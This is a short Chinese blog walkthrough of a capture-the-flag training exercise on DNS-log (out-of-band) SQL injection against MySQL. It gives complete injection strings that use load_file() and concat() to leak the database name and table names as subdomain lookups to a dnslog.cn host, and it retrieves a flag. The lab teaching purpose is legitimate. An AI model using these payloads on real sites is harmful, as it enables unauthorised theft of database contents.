渗透测试(四)DNS-log注入

DNS log注入

测试靶场(掌控安全学院靶场):https://hack.zkaq.cn/battle/target?id=10679db0fd3523e5

  • 分析:挖掘到目标网站有注入点,可通过DNS-log注入,拿到想要的数据
  1. 明白DNS原理,知道域名解析时域名服务器会记录log,但在别人服务器上我们看不到该log,则找工具:dnslog.cn 或者 ceye.io 上去回显出我们想要的数据
  2. 以mysql为例,构造注入语句,以load_file()函数配合dns-log得到数据
  3. mysql中load_file() 函数为加载文件,因此可构造此类型语句得到数据库数据:

select load_file("//file_path/file_name")

  1. 对此可拼接以下语句:

and (select load_file(concat('//',(select database()),'.rvf4kw.dnslog.cn/1.txt')))

在dnslog.cn中可查询到注入回显数据:

maoshe.rvf4kw.dnslog.cn

可得知当前database为:maoshe

  1. 找出该库下的所有表:admin、news

and (select load_file(concat('//',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.rvf4kw.dnslog.cn/1.txt')))

  1. 由此可继续探索拿到我们想要的flag:FlaG-biubiu
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值